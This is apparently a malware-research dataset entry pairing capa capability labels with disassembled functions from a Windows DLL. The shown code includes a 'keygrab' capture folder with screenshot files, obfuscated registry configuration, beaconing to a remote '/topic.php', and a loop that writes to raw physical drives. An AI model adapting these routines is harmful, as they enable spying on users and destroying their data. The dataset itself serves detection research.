joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10011660
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push str.iexplore.exe
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x100116f8
xor eax, eax
mov word [ebp - 4], 1
xor ecx, ecx
lea esp, [esp]
mov byte [ebp + ecx - 0x104], cl
inc ecx
cmp ecx, 0x100
jl 0x10011690
xor ecx, ecx
mov dl, byte [eax + str.microsoft.public.win32.programmer.kernel]
xor byte [ebp + ecx - 0x104], dl
inc eax
cmp eax, 0x28
jl 0x100116b7
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x100116a2
push 0x1004e230
push 0x1004e230
mov edx, 0x2d1
lea eax, [ebp - 0x104]
call fcn.10017c10
mov eax, 0x1004e230
call fcn.10011080
push 0x2d1
push 0
push 0x1004e230
call sub.MSVCRT.dll_memset
add esp, 0xc
push esi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x10011713
push 0x80000001
call fcn.100113b0
mov esi, eax
test esi, esi
jne 0x10011727
push 0x80000002
call fcn.100113b0
mov esi, eax
test esi, esi
je 0x100117ca
push ebx
push edi
push 1
push 0
mov eax, esi
call fcn.10007220
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, eax
test esi, esi
je 0x1001175c
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1001175c
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
test ebx, ebx
je 0x100117c8
push str.set_url
push ebx
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
add esp, 8
test esi, esi
je 0x100117ac
mov edi, eax
push str.set_url
add esi, 8
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
add esp, 8
test esi, esi
je 0x10011792
mov byte [esi], 0
mov eax, edi
call fcn.10011080
test esi, esi
je 0x100117a0
mov byte [esi], 0x73
mov edi, esi
test esi, esi
jne 0x10011777
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x100117c8
push ebx
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10012060
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x206]
push ecx
xor ebx, ebx
mov word [ebp - 0x208], ax
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 8]
add esp, 0xc
push edx
call dword [sym.imp.USER32.dll_GetParent]
test eax, eax
je 0x100120f1
push 0x104
lea ecx, [ebp - 0x208]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
je 0x100120f1
push esi
push edi
xor esi, esi
mov edi, 0x1004e214
mov eax, dword [edi]
test eax, eax
je 0x100120d0
push eax
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x100120e4
inc esi
add edi, 0x10
cmp esi, 1
jb 0x100120b8
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4
shl esi, 4
add esi, 0x1004e214
pop edi
mov ebx, esi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10012100
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
test eax, eax
je 0x1001225a
cmp dword [eax + 4], 0x201
jne 0x1001225a
mov eax, dword [eax]
push edi
push eax
call fcn.10012060
mov edi, eax
test edi, edi
je 0x10012259
push 0x1004fb38
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x108], cl
inc eax
test cl, cl
jne 0x10012140
mov eax, dword [edi + 4]
imul eax, eax, 0x104
push ebx
push esi
lea esi, [eax + 0x1005c058]
push esi
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea ecx, [ebp - 0x108]
push ecx
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea edx, [ebp - 0x108]
push edx
call ebx
test eax, eax
je 0x100121b9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x100121af
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str.keygrab
lea edx, [ebp - 0x108]
push edx
call esi
push 0
lea eax, [ebp - 0x108]
push eax
call ebx
test eax, eax
je 0x100121fc
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x100121f5
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea eax, [ebp - 0x108]
pop esi
lea edx, [eax + 1]
pop ebx
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012214
mov ecx, dword [edi + 0xc]
push ecx
sub eax, edx
push str._02u.bmp
lea edx, [ebp + eax - 0x108]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
inc dword [edi + 0xc]
add esp, 0x10
lea eax, [ebp - 0x108]
push eax
mov eax, dword [edi + 8]
call fcn.10011da0
push 0x1004fb38
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10012260
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
push 0x104
push 0
push 0x10059f08
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005a9fc
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100122a8
lea edi, [ebp - 0x108]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100122b8
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [ebp - 0x108]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10012329
push 1
push 0
lea eax, [ebp - 0x108]
call fcn.10007220
mov esi, eax
test esi, esi
je 0x10012329
push 0x104
push esi
push 0x10059f08
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10012329
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov eax, 0x10059f08
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10012a90
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
push 2
push eax
call dword [sym.imp.USER32.dll_GetAncestor]
test eax, eax
je 0x10012b46
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea esi, [ebp - 0x108]
call fcn.10012260
lea ebx, [ebx]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x10012af0
test cl, cl
je 0x10012aec
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x10012af0
add eax, 2
add esi, 2
test cl, cl
jne 0x10012ad0
xor eax, eax
jmp 0x10012af5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10012b46
mov eax, dword [0x10059f00]
mov dword [0x10059f04], 1
test eax, eax
je 0x10012b3a
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
push 0
mov esi, eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10012b30
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [0x10059f00], 0
lea edx, [ebp - 0x108]
push edx
call fcn.10012340
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10013000
Capabilities:
Get disk information
Set current directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
push 0x103
mov esi, eax
lea eax, [ebp - 0x10b]
push 0
push eax
mov byte [ebp - 0x10c], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
test esi, esi
je 0x1001312e
cmp dword [esi + 0xc], 0
je 0x10013047
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x1001312e
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x1001312e
cmp dword [esi + 0xc], 0
je 0x10013133
mov ecx, dword [esi + 8]
push ecx
push str..PhysicalDrive_u
lea edx, [ebp - 0x10c]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
push 0
push 0xa0000000
push 3
push 0
push 3
push 0x40000000
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10013107
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
mov dword [ebp - 4], 0x3e8
push 1
push 0
push 0
push esi
mov dword [ebp - 8], 0
call ebx
push 0
push 0x104
push 0
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LockFile]
push 0
lea ecx, [ebp - 8]
push ecx
push 0x104
lea edx, [ebp - 0x10c]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0x104
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
dec dword [ebp - 4]
jne 0x100130b3
pop edi
pop ebx
test esi, esi
je 0x1001312e
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001312e
test byte [ebp - 4], 2
jne 0x1001312e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret
push esi
call fcn.10007400
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10013140
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
push esi
push edi
xor esi, esi
push 0x40c
lea eax, [ebp - 0x42c]
push esi
push eax
mov dword [ebp - 0x430], esi
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x430]
push ecx
push 0x104
mov dword [ebp - 0x20], str.AppEvents
mov dword [ebp - 0x1c], str.Console
mov dword [ebp - 0x18], str.Control_Panel
mov dword [ebp - 0x14], str.Environment
mov dword [ebp - 0x10], str.Identities
mov dword [ebp - 0xc], str.Software
mov dword [ebp - 8], str.System
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov edi, eax
shr edi, 2
cmp edi, esi
je 0x10013292
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 2
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpynA]
cmp dword [ebp - 0x430], esi
je 0x10013227
lea eax, [ebp - 0x430]
push 5
push eax
push 0x1005dfc4
call ebx
push 0x1005dfc4
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x10013215
mov eax, 0x1005dfc4
mov dword [0x1005dfd0], 0
call fcn.10013000
inc esi
cmp dword [ebp + esi*4 - 0x430], 0
lea eax, [ebp + esi*4 - 0x430]
jne 0x100131e7
test edi, edi
jle 0x10013291
lea esi, [ebp + edi*4 - 0x430]
cmp dword [esi], 0
je 0x10013289
push 5
push esi
push 0x1005dfc4
call ebx
push 0x1005dfc4
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x10013289
mov eax, 0x1005dfc4
mov dword [0x1005dfd0], 0
call fcn.10013000
movsx edx, byte [0x1005dfc4]
sub edx, 0x43
mov eax, 0x1005dfc4
mov dword [0x1005dfcc], edx
mov dword [0x1005dfd0], 1
call fcn.10013000
dec edi
sub esi, 4
test edi, edi
jg 0x10013232
pop ebx
xor esi, esi
mov eax, str.AppEvents
lea esp, [esp]
push eax
push 0x80000001
call fcn.10024e00
mov eax, dword [ebp + esi*4 - 0x1c]
inc esi
test eax, eax
jne 0x100132a0
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100132c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, 4
test eax, eax
jne 0x10013337
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], edi
call esi
test eax, eax
jne 0x1001332c
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
push 0x1005a6f0
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp eax, dword [ebp - 8]
sbb eax, eax
neg eax
jne 0x1001338f
lea ecx, [ebp - 8]
push ecx
push 0x101
push 0
push str.softwaremicrosoft
push 0x80000002
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], edi
call esi
test eax, eax
jne 0x10013386
lea edx, [ebp - 0x10]
push edx
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 0
push 0x1005a6f0
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
cmp ecx, dword [ebp - 4]
sbb eax, eax
neg eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100133a0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb esi, esi
neg esi
add esi, 0x80000001
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x102
push 0
push str.softwaremicrosoft
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop esi
test eax, eax
jne 0x1001340a
mov edx, dword [ebp - 4]
push 4
lea ecx, [ebp - 8]
push ecx
push 4
push eax
push 0x1005a6f0
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x10013410
Capabilities:
Delete file
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x103
mov edi, eax
xor esi, esi
lea eax, [ebp - 0x217]
push esi
push eax
mov byte [ebp - 0x218], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x103
lea ecx, [ebp - 0x10f]
push esi
push ecx
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x218]
push edx
push 0x104
mov dword [ebp + 8], esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x110]
push eax
push esi
push esi
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
call fcn.100145e0
push 1
push 0
push edi
push ebx
push 1
push str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
lea edx, [ebp - 0x110]
push edx
push str._topic.php
push 0
mov esi, eax
call fcn.10014680
test eax, eax
jne 0x100134dd
push 1
push eax
push edi
push ebx
push 1
push str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
lea eax, [ebp - 0x110]
push eax
push str._topic.php
push 1
mov eax, esi
call fcn.10014680
test eax, eax
je 0x1001357c
push 0
lea ecx, [ebp - 4]
push ecx
lea eax, [ebp - 0x110]
call fcn.10007220
mov esi, eax
test esi, esi
je 0x1001357c
push 0
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 4], 3
jb 0x1001354c
movzx eax, byte [esi]
sub eax, 0x21
jne 0x1001353d
movzx eax, byte [esi + 1]
sub eax, 0x6f
jne 0x1001353d
movzx eax, byte [esi + 2]
sub eax, 0x6b
jne 0x1001353d
xor ebx, ebx
test eax, eax
sete bl
jmp 0x1001354f
sar eax, 0x1f
or eax, 1
xor ebx, ebx
test eax, eax
sete bl
jmp 0x1001354f
mov ebx, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10013571
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100141e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push esi
push edi
xor edi, edi
push 0x103
mov esi, eax
lea eax, [ebp - 0x10f]
push edi
push eax
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0x104
mov dword [ebp - 4], edi
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
test esi, esi
je 0x10014318
mov edx, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push 0x101
push edi
push str.softwaremicrosoft
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1001430a
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x110]
push ecx
lea edx, [ebp - 0xc]
push edx
push edi
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1001430a
lea eax, [ebp - 0x110]
xor edx, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014273
sub eax, esi
je 0x100142ad
mov edi, edi
mov cl, byte [ebp + edx - 0x110]
not cl
lea eax, [ebp - 0x110]
mov byte [ebp + edx - 0x110], cl
inc edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100142a0
sub eax, esi
cmp edx, eax
jb 0x10014280
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100142b6
sub eax, edx
xor esi, esi
inc eax
je 0x100142ec
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x100142ec
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, esi
test esi, esi
je 0x1001430a
lea eax, [ebp - 0x110]
mov edx, eax
sub esi, edx
lea esp, [esp]
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x10014300
mov eax, dword [ebp - 4]
test eax, eax
je 0x10014318
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10014330
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push edi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x1001447d
push esi
xor edi, edi
push 0x103
lea eax, [ebp - 0x113]
push edi
push eax
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 4], edi
mov byte [ebp - 0x114], 0
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
test esi, esi
je 0x10014478
lea ecx, [ebp - 4]
push ecx
push 0x101
push edi
push str.softwaremicrosoft
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1001446a
lea edx, [ebp - 0xc]
push edx
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 8]
push ecx
push edi
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1001446a
lea eax, [ebp - 0x114]
xor edx, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100143d3
sub eax, esi
je 0x1001440d
mov edi, edi
mov al, byte [ebp + edx - 0x114]
not al
mov byte [ebp + edx - 0x114], al
lea eax, [ebp - 0x114]
inc edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014400
sub eax, esi
cmp edx, eax
jb 0x100143e0
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014416
sub eax, edx
xor esi, esi
inc eax
je 0x1001444c
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x1001444c
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, esi
test esi, esi
je 0x1001446a
lea eax, [ebp - 0x114]
mov ecx, eax
sub esi, ecx
lea esp, [esp]
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x10014460
mov eax, dword [ebp - 4]
test eax, eax
je 0x10014478
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
test edi, edi
jne 0x10014491
mov eax, dword [ebp + 8]
push 0x80000002
call fcn.100141e0
pop edi
mov esp, ebp
pop ebp
ret 4
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret 4
Function at 0x100144a0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push esi
mov esi, eax
push 0x1004573c
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
mov dword [ebp - 8], eax
test eax, eax
je 0x100145d7
push edi
mov byte [eax], 0
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb edi, edi
push 0x103
lea eax, [ebp - 0x10f]
push 0
neg edi
push eax
add edi, 0x80000001
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0
test esi, esi
je 0x100145d0
cmp dword [ebp + 8], 0
je 0x100145d0
push 0x104
push esi
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea eax, [ebp - 0x110]
xor edx, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014530
sub eax, esi
je 0x1001456d
jmp 0x10014540
mov al, byte [ebp + edx - 0x110]
not al
mov byte [ebp + edx - 0x110], al
lea eax, [ebp - 0x110]
inc edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014560
sub eax, esi
cmp edx, eax
jb 0x10014540
lea ecx, [ebp - 4]
push ecx
push 0x102
push 0
push str.softwaremicrosoft
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100145c2
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014591
mov ecx, dword [ebp - 4]
sub eax, edx
push eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x110]
push edx
push 1
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x100145c2
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
test eax, eax
je 0x100145d0
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
mov byte [eax], 0xa
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x100145e0
Capabilities:
Resolve dns

Disassembly:
push ebx
push esi
push edi
call fcn.10006a50
mov esi, dword [0x10059e84]
mov ebx, eax
test ebx, ebx
je 0x10014653
test esi, esi
je 0x1001464b
mov ecx, ebx
mov eax, esi
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10014620
test dl, dl
je 0x1001461c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10014620
add eax, 2
add ecx, 2
test dl, dl
jne 0x10014600
xor eax, eax
jmp 0x10014625
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10014653
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1001464b
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, ebx
mov dword [0x10059e84], esi
call dword [sym.imp.DNSAPI.dll_DnsFlushResolverCache]
test esi, esi
je 0x1001466d
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x1001466d
call fcn.10006bc0
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x10014af0
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
mov dword [ebp - 4], esi
call dword [sym.imp.SensApi.dll_IsNetworkAlive]
test eax, eax
je 0x10014be7
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10014b21
call dword [sym.imp.DNSAPI.dll_DnsFlushResolverCache]
push ebx
push edi
push 0x103
lea ecx, [ebp - 0x107]
push 0
push ecx
mov byte [ebp - 0x108], 0
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
add esp, 0xc
push 0x104
push str.http:__
lea edx, [ebp - 0x108]
push edx
call esi
mov edi, dword [sym.imp.SHLWAPI.dll_StrNCatA]
push 0x104
push str.www.bing.com
lea eax, [ebp - 0x108]
push eax
call edi
mov ebx, dword [sym.imp.WININET.dll_InternetCheckConnectionA]
push 0
push 1
lea ecx, [ebp - 0x108]
push ecx
call ebx
test eax, eax
jne 0x10014bdb
push 0x103
push eax
lea edx, [ebp - 0x107]
push edx
mov byte [ebp - 0x108], al
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push str.http:__
lea eax, [ebp - 0x108]
push eax
call esi
push 0x104
push str.www.microsoft.com
lea ecx, [ebp - 0x108]
push ecx
call edi
push 0
push 1
lea edx, [ebp - 0x108]
push edx
call ebx
test eax, eax
je 0x10014bee
pop edi
pop ebx
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret